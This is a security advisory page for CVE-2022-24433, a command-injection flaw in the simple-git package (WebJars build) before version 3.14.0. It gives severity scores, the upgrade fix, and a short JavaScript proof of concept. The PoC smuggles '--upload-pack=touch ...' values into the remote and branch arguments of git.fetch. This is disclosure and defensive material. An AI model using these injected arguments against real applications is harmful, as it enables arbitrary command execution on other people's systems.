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Command Injection Affecting org.webjars.npm:simple-git package, versions [,3.14.0)

0.0
high

Snyk CVSS

    Exploit Maturity Proof of concept
    Attack Complexity High
    Confidentiality High
    Integrity High
    Availability High
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NVD
9.8 critical

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  • Snyk ID SNYK-JAVA-ORGWEBJARSNPM-2421245
  • published 11 Mar 2022
  • disclosed 11 Mar 2022
  • credit Alessio Della Libera of Snyk Research Team
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Introduced: 11 Mar 2022

CVE-2022-24433 Open this link in a new tab
CWE-78 Open this link in a new tab

How to fix?

Upgrade org.webjars.npm:simple-git to version 3.14.0 or higher.

Overview

org.webjars.npm:simple-git is an A light weight interface for running git commands in any node.js application.

Affected versions of this package are vulnerable to Command Injection via argument injection. When calling the .fetch(remote, branch, handlerFn) function, both the remote and branch parameters are passed to the git fetch subcommand. By injecting some git options it was possible to get arbitrary command execution.

PoC 

// npm i simple-git
const simpleGit = require('simple-git');
const git = simpleGit();

let callback = () => {};

git.init(); // or git init

let origin1 = 'origin';
let ref1 = "--upload-pack=touch ./HELLO1;";
git.fetch(origin1, ref1,  callback); // git [ 'fetch', 'origin', '--upload-pack=touch ./HELLO1;' ]

let origin2 = "--upload-pack=touch ./HELLO2;";
let ref2 = "foo";
git.fetch(origin2, ref2,  callback); // git [ 'fetch', '--upload-pack=touch ./HELLO2;', 'foo' ]


let origin3 = 'origin';
let ref3 = "--upload-pack=touch ./HELLO3;";
git.fetch(origin3, ref3, { '--depth': '2' }, callback); // git [ 'fetch', '--depth=2', 'origin', '--upload-pack=touch ./HELLO3;' ]

// ls -la